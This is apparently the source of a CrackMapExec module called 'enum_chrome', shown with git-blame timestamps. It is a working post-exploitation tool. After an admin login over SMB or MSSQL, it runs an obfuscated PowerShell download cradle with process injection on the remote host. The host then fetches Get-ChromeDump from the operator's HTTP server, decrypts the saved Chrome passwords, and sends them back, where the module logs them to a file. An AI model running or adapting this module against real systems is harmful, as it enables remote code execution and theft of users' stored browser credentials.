2017-03-27 21:09:36 +00:00
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from cme.helpers.powershell import *
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from cme.helpers.logger import write_log
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from datetime import datetime
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2020-01-18 12:20:10 +00:00
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from io import StringIO
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2017-03-27 21:09:36 +00:00
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class CMEModule:
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'''
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Executes Get-ChromeDump to decrypt saved chrome credentials
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Module by @byt3bl33d3r
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'''
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name = 'enum_chrome'
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description = "Decrypts saved Chrome passwords using Get-ChromeDump"
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supported_protocols = ['smb', 'mssql']
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opsec_safe = False
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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'''
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2017-04-30 19:28:09 +00:00
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self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
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2017-03-27 21:09:36 +00:00
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self.ps_script2 = obfs_ps_script('randomps-scripts/Get-ChromeDump.ps1')
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def on_admin_login(self, context, connection):
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command = 'Get-ChromeDump | Out-String'
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chrome_cmd = gen_ps_iex_cradle(context, 'Get-ChromeDump.ps1', command)
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launcher = gen_ps_inject(chrome_cmd, context)
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2017-10-25 06:45:58 +00:00
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connection.ps_execute(launcher)
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2017-03-27 21:09:36 +00:00
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context.log.success('Executed payload')
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def on_request(self, context, request):
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if 'Invoke-PSInject.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script1)
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elif 'Get-ChromeDump.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script2)
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else:
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request.send_response(404)
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request.end_headers()
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def on_response(self, context, response):
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response.send_response(200)
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response.end_headers()
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2020-01-18 12:20:10 +00:00
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length = int(response.headers.get('content-length'))
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data = response.rfile.read(length).decode()
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2017-03-27 21:09:36 +00:00
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#We've received the response, stop tracking this host
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response.stop_tracking_host()
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if len(data):
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2017-03-30 00:03:04 +00:00
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buf = StringIO(data).readlines()
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for line in buf:
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context.log.highlight(line)
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2017-03-27 21:09:36 +00:00
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log_name = 'ChromeDump-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
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write_log(data, log_name)
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context.log.info("Saved raw Get-ChromeDump output to {}".format(log_name))
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#def on_shutdown(self, context):
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#context.info('Removing SQLite assembly file')
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#connection.ps_execute('')
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